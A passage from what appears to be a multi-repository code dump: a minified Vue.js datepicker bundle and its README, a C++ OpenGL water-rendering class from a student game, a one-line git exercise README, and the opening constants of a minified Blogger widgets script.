this}),t.exports=function(t,e,n){t.prototype=r(o,{next:i(1,n)}),a(t,e+" Iterator")}},function(t,e,n){"use strict";var r=n(42),i=n(19),a=n(48),o=n(6),s=n(5),c=n(11),l=n(39),u=n(21),f=n(45),p=n(1)("iterator"),h=!([].keys&&"next"in[].keys()),d="@@iterator",m="keys",v="values",x=function(){return this};t.exports=function(t,e,n,g,y,b,w){l(n,e,g);var _,M,S,k=function(t){if(!h&&t in E)return E[t];switch(t){case m:return function(){return new n(this,t)};case v:return function(){return new n(this,t)}}return function(){return new n(this,t)}},Y=e+" Iterator",D=y==v,T=!1,E=t.prototype,j=E[p]||E[d]||y&&E[y],N=j||k(y),O=y?D?k("entries"):N:void 0,A="Array"==e?E.entries||j:j;if(A&&(S=f(A.call(new t)),S!==Object.prototype&&(u(S,Y,!0),r||s(S,p)||o(S,p,x))),D&&j&&j.name!==v&&(T=!0,N=function(){return j.call(this)}),r&&!w||!h&&!T&&E[p]||o(E,p,N),c[e]=N,c[Y]=x,y)if(_={values:D?N:k(v),keys:b?N:k(m),entries:O},w)for(M in _)M in E||a(E,M,_[M]);else i(i.P+i.F*(h||T),e,_);return _}},function(t,e,n){var r=n(1)("iterator"),i=!1;try{var a=[7][r]();a.return=function(){i=!0},Array.from(a,function(){throw 2})}catch(t){}t.exports=function(t,e){if(!e&&!i)return!1;var n=!1;try{var a=[7],o=a[r]();o.next=function(){return{done:n=!0}},a[r]=function(){return o},t(a)}catch(t){}return n}},function(t,e){t.exports=!0},function(t,e,n){var r=n(3),i=n(44),a=n(18),o=n(13)("IE_PROTO"),s=function(){},c="prototype",l=function(){var t,e=n(17)("iframe"),r=a.length,i="<",o=">";for(e.style.display="none",n(34).appendChild(e),e.src="javascript:",t=e.contentWindow.document,t.open(),t.write(i+"script"+o+"document.F=Object"+i+"/script"+o),t.close(),l=t.F;r--;)delete l[c][a[r]];return l()};t.exports=Object.create||function(t,e){var n;return null!==t?(s[c]=r(t),n=new s,s[c]=null,n[o]=t):n=l(),void 0===e?n:i(n,e)}},function(t,e,n){var r=n(7),i=n(3),a=n(47);t.exports=n(4)?Object.defineProperties:function(t,e){i(t);for(var n,o=a(e),s=o.length,c=0;s>c;)r.f(t,n=o[c++],e[n]);return t}},function(t,e,n){var r=n(5),i=n(25),a=n(13)("IE_PROTO"),o=Object.prototype;t.exports=Object.getPrototypeOf||function(t){return t=i(t),r(t,a)?t[a]:"function"==typeof t.constructor&&t instanceof t.constructor?t.constructor.prototype:t instanceof Object?o:null}},function(t,e,n){var r=n(5),i=n(23),a=n(31)(!1),o=n(13)("IE_PROTO");t.exports=function(t,e){var n,s=i(t),c=0,l=[];for(n in s)n!=o&&r(s,n)&&l.push(n);for(;e.length>c;)r(s,n=e[c++])&&(~a(l,n)||l.push(n));return l}},function(t,e,n){var r=n(46),i=n(18);t.exports=Object.keys||function(t){return r(t,i)}},function(t,e,n){t.exports=n(6)},function(t,e,n){var r=n(14),i=n(9);t.exports=function(t){return function(e,n){var a,o,s=String(i(e)),c=r(n),l=s.length;return c<0||c>=l?t?"":void 0:(a=s.charCodeAt(c),a<55296||a>56319||c+1===l||(o=s.charCodeAt(c+1))<56320||o>57343?t?s.charAt(c):a:t?s.slice(c,c+2):(a-55296<<10)+(o-56320)+65536)}}},function(t,e,n){var r=n(14),i=Math.max,a=Math.min;t.exports=function(t,e){return t=r(t),t<0?i(t+e,0):a(t,e)}},function(t,e,n){var r=n(10);t.exports=function(t,e){if(!r(t))return t;var n,i;if(e&&"function"==typeof(n=t.toString)&&!r(i=n.call(t)))return i;if("function"==typeof(n=t.valueOf)&&!r(i=n.call(t)))return i;if(!e&&"function"==typeof(n=t.toString)&&!r(i=n.call(t)))return i;throw TypeError("Can't convert object to primitive value")}},function(t,e,n){var r=n(32),i=n(1)("iterator"),a=n(11);t.exports=n(8).getIteratorMethod=function(t){if(void 0!=t)return t[i]||t["@@iterator"]||a[r(t)]}},function(t,e,n){"use strict";var r=n(16),i=n(19),a=n(25),o=n(38),s=n(37),c=n(24),l=n(33),u=n(52);i(i.S+i.F*!n(41)(function(t){Array.from(t)}),"Array",{from:function(t){var e,n,i,f,p=a(t),h="function"==typeof this?this:Array,d=arguments.length,m=d>1?arguments[1]:void 0,v=void 0!==m,x=0,g=u(p);if(v&&(m=r(m,d>2?arguments[2]:void 0,2)),void 0==g||h==Array&&s(g))for(e=c(p.length),n=new h(e);e>x;x++)l(n,x,v?m(p[x],x):p[x]);else for(f=g.call(p),n=new h;!(i=f.next()).done;x++)l(n,x,v?o(f,m,[i.value,x],!0):i.value);return n.length=x,n}})},function(t,e,n){"use strict";var r=n(49)(!0);n(40)(String,"String",function(t){this._t=String(t),this._i=0},function(){var t,e=this._t,n=this._i;return n>=e.length?{value:void 0,done:!0}:(t=r(e,n),this._i+=t.length,{value:t,done:!1})})},function(t,e,n){e=t.exports=n(56)(),e.push([t.id,"ul[_v-6c618eea]{padding:0;margin:0;list-style:none}.date-picker[_v-6c618eea]{position:relative}.input[_v-6c618eea]{width:100%;height:100%;font-size:inherit;line-height:2;padding-left:4px;box-sizing:border-box;outline:none;border:1px solid #ccc;border-radius:2px}.date-panel[_v-6c618eea]{position:absolute;z-index:5000;border:1px solid #eee;width:320px;padding:5px 10px 10px;box-sizing:border-box;background-color:#fff;-webkit-transform:translateY(4px);transform:translateY(4px)}.panel-header[_v-6c618eea]{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-flow:row nowrap;flex-flow:row;width:100%}.arrow-left[_v-6c618eea],.arrow-right[_v-6c618eea]{-webkit-box-flex:1;-ms-flex:1;flex:1;font-size:20px;line-height:2;background-color:#fff;text-align:center;cursor:pointer}.year-range[_v-6c618eea]{font-size:20px;line-height:2;-ms-flex:3;flex:3;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.year-month-box[_v-6c618eea],.year-range[_v-6c618eea]{-webkit-box-flex:3;display:-webkit-box;display:-ms-flexbox;display:flex}.year-month-box[_v-6c618eea]{-ms-flex:3;flex:3;-ms-flex-flow:row nowrap;flex-flow:row;-ms-flex-pack:distribute;justify-content:space-around}.date-list[_v-6c618eea],.type-month[_v-6c618eea],.type-year[_v-6c618eea]{background-color:#fff}.month-box[_v-6c618eea],.year-box[_v-6c618eea]{-webkit-transition:all .1s ease;transition:all .1s ease;font-family:Roboto,sans-serif;-webkit-box-flex:1;-ms-flex:1;flex:1;text-align:center;font-size:20px;line-height:2;cursor:pointer;background-color:#fff}.month-list[_v-6c618eea],.year-list[_v-6c618eea]{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.month-list li[_v-6c618eea],.year-list li[_v-6c618eea]{font-family:Roboto,sans-serif;-webkit-transition:all .45s cubic-bezier(.23,1,.32,1) 0ms;transition:all .45s cubic-bezier(.23,1,.32,1) 0ms;cursor:pointer;text-align:center;font-size:20px;width:33%;padding:10px 0}.month-list li[_v-6c618eea]:hover,.year-list li[_v-6c618eea]:hover{background-color:#6ac1c9;color:#fff}.month-list li.selected[_v-6c618eea],.year-list li.selected[_v-6c618eea]{background-color:#0097a7;color:#fff}.month-list li.invalid[_v-6c618eea],.year-list li.invalid[_v-6c618eea]{cursor:not-allowed;color:#ccc}.date-list[_v-6c618eea]{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.date-list .valid[_v-6c618eea]:hover{background-color:#eee}.date-list li[_v-6c618eea]{-webkit-transition:all .1s ease;transition:all .1s ease;cursor:pointer;box-sizing:border-box;border-bottom:1px solid #fff;position:relative;margin:2px}.date-list li[_v-6c618eea]:not(.firstItem){margin-left:10px}.date-list li .message[_v-6c618eea]{font-family:Roboto,sans-serif;font-weight:300;font-size:14px;position:relative;height:30px}.date-list li .message.selected .bg[_v-6c618eea]{background-color:#0097a7}.date-list li .message.selected span[_v-6c618eea]{color:#fff}.date-list li .message:not(.selected) .bg[_v-6c618eea]{-webkit-transform:scale(0);transform:scale(0);opacity:0}.date-list li .message:not(.selected):hover .bg[_v-6c618eea]{background-color:#0097a7;-webkit-transform:scale(1);transform:scale(1);opacity:.6}.date-list li .message:not(.selected):hover span[_v-6c618eea]{color:#fff}.date-list li .message .bg[_v-6c618eea]{height:30px;width:100%;-webkit-transition:all .45s cubic-bezier(.23,1,.32,1) 0ms;transition:all .45s cubic-bezier(.23,1,.32,1) 0ms;border-radius:50%;position:absolute;z-index:10;top:0;left:0}.date-list li .message span[_v-6c618eea]{position:absolute;z-index:20;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.date-list li.invalid[_v-6c618eea]{cursor:not-allowed;color:#ccc}.weeks[_v-6c618eea]{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.weeks li[_v-6c618eea]{font-weight:600}.date-list[_v-6c618eea],.weeks[_v-6c618eea]{width:100%;text-align:center}.date-list .nextMonth[_v-6c618eea],.date-list .preMonth[_v-6c618eea],.weeks .nextMonth[_v-6c618eea],.weeks .preMonth[_v-6c618eea]{color:#ccc}.date-list li[_v-6c618eea],.weeks li[_v-6c618eea]{font-family:Roboto;width:30px;height:30px;text-align:center;line-height:30px}.toggle-enter[_v-6c618eea],.toggle-leave-active[_v-6c618eea]{opacity:0;-webkit-transform:translateY(-10px);transform:translateY(-10px)}.toggle-enter-active[_v-6c618eea],.toggle-leave-active[_v-6c618eea]{-webkit-transition:all .2s ease;transition:all .2s ease}",""])},function(t,e){t.exports=function(){var t=[];return t.toString=function(){for(var t=[],e=0;e<this.length;e++){var n=this[e];n[2]?t.push("@media "+n[2]+"{"+n[1]+"}"):t.push(n[1])}return t.join("")},t.i=function(e,n){"string"==typeof e&&(e=[[null,e,""]]);for(var r={},i=0;i<this.length;i++){var a=this[i][0];"number"==typeof a&&(r[a]=!0)}for(i=0;i<e.length;i++){var o=e[i];"number"==typeof o[0]&&r[o[0]]||(n&&!o[2]?o[2]=n:n&&(o[2]="("+o[2]+") and ("+n+")"),t.push(o))}},t}},function(t,e){t.exports=' <div class=date-picker _v-6c618eea=""> <div class=input type=text @click=togglePanel v-text="range ? value[0] + \' -- \' + value[1] : value" _v-6c618eea=""></div> <transition name=toggle _v-6c618eea=""> <div class=date-panel v-show=panelState :style=coordinates _v-6c618eea=""> <div class=panel-header v-show="panelType !== \'year\'" _v-6c618eea=""> <div class=arrow-left @click=prevMonthPreview() _v-6c618eea="">&lt;</div> <div class=year-month-box _v-6c618eea=""> <div class=year-box @click="chType(\'year\')" v-text=tmpYear _v-6c618eea=""></div> <div class=month-box @click="chType(\'month\')" _v-6c618eea="">{{tmpMonth + 1 | month(language)}}</div> </div> <div class=arrow-right @click=nextMonthPreview() _v-6c618eea="">&gt;</div> </div> <div class=panel-header v-show="panelType === \'year\'" _v-6c618eea=""> <div class=arrow-left @click=chYearRange(0) _v-6c618eea="">&lt;</div> <div class=year-range _v-6c618eea=""> <span v-text=yearList[0] _v-6c618eea=""></span> - <span v-text="yearList[yearList.length - 1]" _v-6c618eea=""></span> </div> <div class=arrow-right @click=chYearRange(1) _v-6c618eea="">&gt;</div> </div> <div class=type-year v-show="panelType === \'year\'" _v-6c618eea=""> <ul class=year-list _v-6c618eea=""> <li v-for="item in yearList" v-text=item :class="{selected: isSelected(\'year\', item), invalid: validateYear(item)}" @click=selectYear(item) _v-6c618eea=""> </li> </ul> </div> <div class=type-month v-show="panelType === \'month\'" _v-6c618eea=""> <ul class=month-list _v-6c618eea=""> <li v-for="(item, index) in monthList" :class="{selected: isSelected(\'month\', index), invalid: validateMonth(index)}" @click=selectMonth(index) _v-6c618eea=""> {{item | month(language)}} </li> </ul> </div> <div class=type-date v-show="panelType === \'date\'" _v-6c618eea=""> <ul class=weeks _v-6c618eea=""> <li v-for="item in weekList" _v-6c618eea="">{{item | week(language)}}</li> </ul> <ul class=date-list _v-6c618eea=""> <li v-for="(item, index) in dateList" :class="{preMonth: item.previousMonth, nextMonth: item.nextMonth,\n invalid: validateDate(item), firstItem: (index % 7) === 0}" @click=selectDate(item) _v-6c618eea=""> <div class=message :class="{selected: isSelected(\'date\', item)}" _v-6c618eea=""> <div class=bg _v-6c618eea=""></div><span v-text=item.value _v-6c618eea=""></span> </div> </li> </ul> </div> </div> </transition> </div> '},function(t,e,n){function r(t,e){for(var n=0;n<t.length;n++){var r=t[n],i=f[r.id];if(i){i.refs++;for(var a=0;a<i.parts.length;a++)i.parts[a](r.parts[a]);for(;a<r.parts.length;a++)i.parts.push(c(r.parts[a],e))}else{for(var o=[],a=0;a<r.parts.length;a++)o.push(c(r.parts[a],e));f[r.id]={id:r.id,refs:1,parts:o}}}}function i(t){for(var e=[],n={},r=0;r<t.length;r++){var i=t[r],a=i[0],o=i[1],s=i[2],c=i[3],l={css:o,media:s,sourceMap:c};n[a]?n[a].parts.push(l):e.push(n[a]={id:a,parts:[l]})}return e}function a(t,e){var n=d(),r=x[x.length-1];if("top"===t.insertAt)r?r.nextSibling?n.insertBefore(e,r.nextSibling):n.appendChild(e):n.insertBefore(e,n.firstChild),x.push(e);else{if("bottom"!==t.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");n.appendChild(e)}}function o(t){t.parentNode.removeChild(t);var e=x.indexOf(t);e>=0&&x.splice(e,1)}function s(t){var e=document.createElement("style");return e.type="text/css",a(t,e),e}function c(t,e){var n,r,i;if(e.singleton){var a=v++;n=m||(m=s(e)),r=l.bind(null,n,a,!1),i=l.bind(null,n,a,!0)}else n=s(e),r=u.bind(null,n),i=function(){o(n)};return r(t),function(e){if(e){if(e.css===t.css&&e.media===t.media&&e.sourceMap===t.sourceMap)return;r(t=e)}else i()}}function l(t,e,n,r){var i=n?"":r.css;if(t.styleSheet)t.styleSheet.cssText=g(e,i);else{var a=document.createTextNode(i),o=t.childNodes;o[e]&&t.removeChild(o[e]),o.length?t.insertBefore(a,o[e]):t.appendChild(a)}}function u(t,e){var n=e.css,r=e.media,i=e.sourceMap;if(r&&t.setAttribute("media",r),i&&(n+="\n/*# sourceURL="+i.sources[0]+" */",n+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(i))))+" */"),t.styleSheet)t.styleSheet.cssText=n;else{for(;t.firstChild;)t.removeChild(t.firstChild);t.appendChild(document.createTextNode(n))}}var f={},p=function(t){var e;return function(){return"undefined"==typeof e&&(e=t.apply(this,arguments)),e}},h=p(function(){return/msie [6-9]\b/.test(window.navigator.userAgent.toLowerCase())}),d=p(function(){return document.head||document.getElementsByTagName("head")[0]}),m=null,v=0,x=[];t.exports=function(t,e){e=e||{},"undefined"==typeof e.singleton&&(e.singleton=h()),"undefined"==typeof e.insertAt&&(e.insertAt="bottom");var n=i(t);return r(n,e),function(t){for(var a=[],o=0;o<n.length;o++){var s=n[o],c=f[s.id];c.refs--,a.push(c)}if(t){var l=i(t);r(l,e)}for(var o=0;o<a.length;o++){var c=a[o];if(0===c.refs){for(var u=0;u<c.parts.length;u++)c.parts[u]();delete f[c.id]}}}};var g=function(){var t=[];return function(e,n){return t[e]=n,t.filter(Boolean).join("\n")}}()},function(t,e,n){var r=n(55);"string"==typeof r&&(r=[[t.id,r,""]]);n(58)(r,{});r.locals&&(t.exports=r.locals)}])});``` README.md ```# vue-datepicker > datepicker component for Vue.js, already support Vue.js 2.x, the Vue.js 1.x version is on branch `vue-1.x`. Live Demo is [here(browser)](http://www.showonne.com/vue-date/dist/browser/) and [here(webpack)](http://www.showonne.com/vue-date/dist/webpack/) ##Installation >npm install vue-date --save ##Usage ####use with single `.vue` file: ```html <template> <div> <datepicker v-model="date"></datepicker> </div> </template> <script> import datepicker from 'vue-date' export default { data() { return { date: '2016-10-16' } }, components: { datepicker } } </script> ``` ####use in browser: ```html //index.html <html> <script src="path/to/vue.js"></script>    <script src="path/to/index.js"></script> <body> <div id="app"> <datepicker v-model="date"></datepicker> </div> <script> new Vue({ el: '#app', data: { date: '2016-10-16' }, components: { datepicker } }) </script> </body> </html> ``` ```
zeppto/Mansion-Escape
zeppto/Mansion-Escape README.md ```# Mansion-Escape This is the seconded larges game we created at BTH. We used the 3D programming courses final submission as our base for the game and created a game about escaping a mansion ``` waterModel.cpp ```#include "waterModel.h" Water::Water(GLuint * gWaterShaderProgram, GLuint * gWaterVertexAttribute, GLuint * gWaterVertexBuffer) { this->gWaterShaderProgram = gWaterShaderProgram; this->gWaterVertexAttribute = gWaterVertexAttribute; this->gWaterVertexBuffer = gWaterVertexBuffer; } Water::~Water() { } void Water::setUpWater() { waterVertex triangleVertices[72] = { //first { -0.5f, 0.5f, 0.0}, { 0.5f, 0.5f, 0.0f}, { 0.5f, 0.5f, 1.0f}, { 0.5f, 0.5f, 1.0}, { -0.5f, 0.5f, 1.0}, { -0.5f, 0.5f, 0.0}, //second { 0.5f, 0.5f, 0.0}, { 1.5f, 0.5f, 0.0f}, { 1.5f, 0.5f, 1.0f}, { 1.5f, 0.5f, 1.0}, { 0.5f, 0.5f, 1.0}, { 0.5f, 0.5f, 0.0}, //third { -0.5f, 0.5f, 1.0}, { 0.5f, 0.5f, 1.0f}, { 0.5f, 0.5f, 2.0f}, { 0.5f, 0.5f, 2.0}, { -0.5f, 0.5f, 2.0}, { -0.5f, 0.5f, 1.0}, //forth { 0.5f, 0.5f, 1.0}, { 1.5f, 0.5f, 1.0f}, { 1.5f, 0.5f, 2.0f}, { 1.5f, 0.5f, 2.0}, { 0.5f, 0.5f, 2.0}, { 0.5f, 0.5f, 1.0}, //5 { 1.5f, 0.5f, 1.0}, { 2.5f, 0.5f, 1.0f}, { 2.5f, 0.5f, 2.0f}, { 2.5f, 0.5f, 2.0}, { 1.5f, 0.5f, 2.0}, { 1.5f, 0.5f, 1.0}, //6 { 1.5f, 0.5f, 0.0}, { 2.5f, 0.5f, 0.0f}, { 2.5f, 0.5f, 1.0f}, { 2.5f, 0.5f, 1.0}, { 1.5f, 0.5f, 1.0}, { 1.5f, 0.5f, 0.0}, //7 { -0.5f, 0.5f, 1.0}, { 0.5f, 0.5f, 1.0f}, { 0.5f, 0.5f, 2.0f}, { 0.5f, 0.5f, 2.0}, { -0.5f, 0.5f, 2.0}, { -0.5f, 0.5f, 1.0}, //8 { 0.5f, 0.5f, 1.0}, { 1.5f, 0.5f, 1.0f}, { 1.5f, 0.5f, 2.0f}, { 1.5f, 0.5f, 2.0}, { 0.5f, 0.5f, 2.0}, { 0.5f, 0.5f, 1.0}, //9 { -0.5f, 0.5f, 2.0}, { 0.5f, 0.5f, 2.0f}, { 0.5f, 0.5f, 3.0f}, { 0.5f, 0.5f, 3.0}, { -0.5f, 0.5f, 3.0}, { -0.5f, 0.5f, 2.0}, //10 { 0.5f, 0.5f, 2.0}, { 1.5f, 0.5f, 2.0f}, { 1.5f, 0.5f, 3.0f}, { 1.5f, 0.5f, 3.0}, { 0.5f, 0.5f, 3.0}, { 0.5f, 0.5f, 2.0}, //11 { 1.5f, 0.5f, 2.0}, { 2.5f, 0.5f, 2.0f}, { 2.5f, 0.5f, 3.0f}, { 2.5f, 0.5f, 3.0}, { 1.5f, 0.5f, 3.0}, { 1.5f, 0.5f, 2.0f}, //12 { 1.5f, 0.5f, 1.0}, { 2.5f, 0.5f, 1.0f}, { 2.5f, 0.5f, 2.0f}, { 2.5f, 0.5f, 2.0}, { 1.5f, 0.5f, 2.0}, { 1.5f, 0.5f, 1.0}, }; // Vertex Array Object (VAO), description of the inputs to the GPU glGenVertexArrays(1, gWaterVertexAttribute); // bind is like "enabling" the object to use it glBindVertexArray(*gWaterVertexAttribute); // this activates the first and second attributes of this VAO // think of "attributes" as inputs to the Vertex Shader glEnableVertexAttribArray(0); // create a vertex buffer object (VBO) id (out Array of Structs on the GPU side) glGenBuffers(1, gWaterVertexBuffer); // Bind the buffer ID as an ARRAY_BUFFER glBindBuffer(GL_ARRAY_BUFFER, *gWaterVertexBuffer); // This "could" imply copying to the GPU, depending on what the driver wants to do, and // the last argument (read the docs!) glBufferData(GL_ARRAY_BUFFER, sizeof(triangleVertices), triangleVertices, GL_STATIC_DRAW); // query which "slot" corresponds to the input vertex_position in the Vertex Shader GLint vertexPos = glGetAttribLocation(*gWaterShaderProgram, "vertex_position"); // if this returns -1, it means there is a problem, and the program will likely crash. // examples: the name is different or missing in the shader // tell OpenGL about layout in memory (input assembler information) glVertexAttribPointer( vertexPos, // location in shader 3, // how many elements of type (see next argument) GL_FLOAT, // type of each element GL_FALSE, // integers will be normalized to [-1,1] or [0,1] when read... sizeof(waterVertex), // distance between two vertices in memory (stride) BUFFER_OFFSET(0) // offset of FIRST vertex in the list. ); } void Water::updateWaterTime(float deltaTime) { this->waterTime += deltaTime * this->waterSpeed; unsigned int waterLoc = glGetUniformLocation(*gWaterShaderProgram, "waterTime"); glUniform1f(waterLoc, this->waterTime); } void Water::renderWater(glm::mat4 viewMatrix, glm::mat4 projectionMatrix, glm::vec3 camPos, glm::vec3 lightPos, float positonX, float positonY, float positonZ, float rotation) { glUseProgram(*gWaterShaderProgram); glBindVertexArray(*gWaterVertexAttribute); glm::mat4 worldMatrix(1.0f); worldMatrix = glm::translate(worldMatrix, glm::vec3(positonX, positonY, positonZ)); worldMatrix = glm::rotate(worldMatrix, glm::radians(rotation), glm::vec3(0.f, 1.f, 0.f)); glUniformMatrix4fv(glGetUniformLocation(*gWaterShaderProgram, "worldMatrix"), 1, GL_FALSE, glm::value_ptr(worldMatrix)); glUniformMatrix4fv(glGetUniformLocation(*gWaterShaderProgram, "viewMatrix"), 1, GL_FALSE, glm::value_ptr(viewMatrix)); glUniformMatrix4fv(glGetUniformLocation(*gWaterShaderProgram, "projectionMatrix"), 1, GL_FALSE, glm::value_ptr(projectionMatrix)); glUniform3fv(42, 1, glm::value_ptr(lightPos)); glUniform3fv(43, 1, glm::value_ptr(camPos)); glDrawArrays(GL_TRIANGLES, 0, 72); } ```
zeprof/gitexercice
zeprof/gitexercice README.md ```# gitexercice mod ```
zeptian/EC
zeptian/EC 2259541978-widgets.js ```(function (){ var g=encodeURIComponent,k=window,aa=Object,ba=Function,l=document,ca=isNaN,m=Math,da=Array,ea=Number,n=Error,fa=parseInt,ga=parseFloat,p=String,ha=decodeURIComponent,ia=RegExp;function ja(a,b){return a.onload=b}function ka(a,b){return a.width=b}function la(a,b){return a.data=b}function ma(a,b){return a.clear=b}function na(a,b){return a.toString=b}function oa(a,b){return a.position=b}function pa(a,b){return a.href=b}function q(a,b){return a.display=b}function qa(a,b){return a.height=b} function ra(a,b){return a.onreadystatechange=b}function r(a,b){return a.innerHTML=b}function sa(a,b){return a.currentTarget=b}function ta(a,b){return a.left=b}function ua(a,b){return a.type=b}function va(a,b){return a.name=b}function wa(a,b){return a.zIndex=b}function xa(a,b){return a.visibility=b}function ya(a,b){return a.length=b}function u(a,b){return a.className=b}function za(a,b){return a.target=b}function Aa(a,b){return a.onclick=b} var v="appendChild",Ba="getBoundingClientRect",Ca="shift",Da="clearTimeout",Ea="width",w="replace",y="data",Fa="chrome",Ga="floor",Ha="responseText",Ia="concat",Ja="charAt",Ka="createTextNode",La="preventDefault",Ma="targetTouches",Na="dispatchEvent",Oa="longDesc",Pa="match",Qa="tran",Ra="getBoxObjectFor",Sa="tick",Ta="querySelector",Ua="createElement",Va="keyCode",Ya="firstChild",Za="render",$a="forEach",ab="setAttribute",bb="handleEvent",cb="bind",db="getElementsByTagName",eb="documentElement", fb="opener",gb="toString",hb="setUserDefinedLabel",ib="propertyIsEnumerable",jb="setTimeout",kb="split",lb="stopPropagation",mb="stack",z="location",nb="hasOwnProperty",A="style",ob="ownerDocument",pb="parent",qb="random",rb="protocol",sb="scrollLeft",tb="href",ub="apply",vb="display",wb="height",B="push",xb="addSearcher",yb="open",zb="test",Ab="input",Bb="cancel",Cb="round",Db="slice",Eb="nodeType",Fb="load",C="getElementById",Gb="srcElement",Hb="value",Ib="item",Jb="indexOf",D="jstiming",Kb="nodeName", Lb="left",Mb="readyState",Nb="addEventListener",Ob="captureStackTrace",Pb="type",Qb="defaultView",Rb="name",Sb="frames",Tb="scrollTop",F="length",Ub="title",G="prototype",Vb="className",Wb="abort",Xb="getSelection",Yb="document",Zb="then",H="body",$b="removeChild",ac="target",I="call",bc="getAttribute",cc="querySelectorAll",dc="compatMode",ec="currentStyle",fc="substring",K="parentNode",gc="toUpperCase",hc="splice",ic="join",jc="toLowerCase",kc="event",L="",lc="\n",mc="\n\n",nc="\nDEFERRED OPERATION:\n", oc=" ",pc=' name="',qc=' progid:DXImageTransform.Microsoft.Matrix(sizingMethod="auto expand", M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678)',rc=' progid:DXImageTransform.Microsoft.Matrix(sizingMethod="auto expand", M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678) alpha(opacity=50)',sc=' type="',tc=" x ",uc='"',vc='"trebuchet ms",verdana,arial,sans-serif',wc="#",xc="#$1$1$2$2$3$3",yc="#000",zc="#fff",Ac="#gpluscomments",Bc="#uds-search-results",Cc="$1_m.$2",Dc="%", Ec="%s",Fc="&",Gc="&#39;",Hc="&#9660;&nbsp;",Ic="&#9668;&nbsp;",Jc="&action=",Kc="&amp;",Lc="&apa=1",Mc="&body=",Nc="&func=",Oc="&gt;",Pc="&it=",Qc="&lt;",Rc="&n=",Sc="&nbsp;",Tc="&npn=1",Uc="&npnv=",Vc="&p=s",Wc="&quot;",Xc="&rt=",Yc="&s=",Zc="&sectionId=",$c="&srt=",ad="&t=",bd="&tbsrt=",cd="&times;",dd="&tran=",ed="&u=",fd="&widgetId=",gd="&widgetType=",hd="'",id="(",jd="(\\d*)(\\D*)",kd="(^",ld=")",md=")([a-z])",nd="*",od=",",pd=", ",qd="-10000px",rd="-140px",sd="-225px",td="-h",ud="-moz-transform", vd="-ms-transform",wd="-o-transform",xd="-webkit-transform",yd=".",zd=".01",Ad=".5",Bd=".cmt_count_iframe_holder",Cd=".js",Dd=".wikipedia.org",Ed=".wikipedia.org/wiki/",Fd="/",Gd="//",Hd="//ajax.googleapis.com/ajax/services/feed/load",Id="//csi.gstatic.com/csi",Jd="//www.blogger.com/img/widgets/icon_contactform_cross.gif",Kd="/rearrange?blogID=",Ld="/s$1/",Md="/w/api.php",Nd="/w/index.php",Od="0",Pd="1",Qd="1.0",Rd="10",Sd="100%",Td="10px",Ud="110px",Vd="1em",Wd="1px solid #aaa",Xd="1px solid transparent", Yd="20",Zd="232px",$d="24px",ae="432px",be="50% 0",ce="600px",de="75px",ee=":",fe=": ",ge="<",he="</a>",ie="</a></div>",je="<a href=",ke='<a target="_blank" href=',le='<div id="wikipedia-search-result-link"><a target="_blank" href=',me="=",ne=">",oe="?",pe="?t=",qe="?v=3",re="?widgetId=",se="@",te="A",ue="AdSense",ve="An execution sequence may not be initiated with a blocking Deferred.",we="An object listener must have handleEvent method.",xe="ArchiveList",ye="ArchiveMenu",ze="Assertion failed",Ae= "BLOGGER",Be="Blocking Deferreds can not be re-used",Ce="Blog",De="BlogArchive",Ee="BlogList",Fe="BloggerButton",Ge="CSS1Compat",He="Cannot throw an error that is not scheduled.",Ie="ContactForm",Je="Content-Type",Ke="CustomSearch",Le="DIV",Me="Email",Ne="Error loading backlinks: ",Oe="Error loading feed.",Pe="Error while loading script ",Qe="Event target is not initialized. Did you call the superclass (goog.events.EventTarget) constructor?",Re="Expected object but got %s: %s.",Se="Expected string but got %s: %s.", Te="FULFILLED",Ue="Facebook",Ve="Feed",We="Followers",Xe="FontName",Ye="GET",Ze="Gadget",$e="Google+",af="HEAD",bf="HORIZONTAL-MEDIUM",cf="HORIZONTAL-SMALL",df="HTML",ef="IMG",ff="Image",gf="Jsloader error (code #",hf="LI",jf="LINK",kf="Label",lf="LinkList",mf="Listener can not be null.",nf="MSXML2.XMLHTTP",of="MSXML2.XMLHTTP.3.0",pf="MSXML2.XMLHTTP.6.0",qf="Microsoft.XMLHTTP",rf="Moz",sf="NaN",tf="Navbar",uf="NewsBar",vf="O",wf="POST",xf="PageList",yf="Parameter is required",zf="PlusPosts",Af="Poll", Bf="PopularPosts",Cf="Preview",Df="Profile",Ef="Promise cannot resolve to itself",Ff="Promise trace:",Gf="REJECTED",Hf="SCRIPT",If="SPAN",Jf="SW_READER_LIST_",Kf="SW_READER_LIST_CLOSED_",Lf="Search",Mf="Share this post",Nf="Slideshow",Of="Special:Search",Pf="Stats",Qf="Subscribe",Rf="TR",Sf="Text",Tf="TextList",Uf="Timeout reached for loading script ",Vf="Twitter",Wf="UL",Xf="UTF-8",Yf="VERTICAL",Zf="Value: [",$f="VideoBar",ag="Webkit",bg="X",cg="[object Array]",dg="[object Function]",eg="[object Window]", fg="\\$1",gg="\\s",hg="\\x08",ig="]",jg="] <",kg="]+",lg="_",mg="_OnWidgetConfigured",ng="_OnWidgetDeleted",og="__gjsload__",pg="_blank",qg="_callbacks_.",rg="_id_",sg="_self",tg="a",ug="abort",vg="absolute",wg="action",xg="action=",yg="addnew",zg="alpha(opacity=1)",Ag="application/x-www-form-urlencoded;charset=utf-8",Bg="aria-",Cg="array",Dg="av-delay-tempId-",Eg="backlink-control",Fg="backlink-toggle-zippy",Gg="backlinks",Hg="backlinks-container",Ig="backlinks-create-link",Jg="bar",Kg="beforeunload", 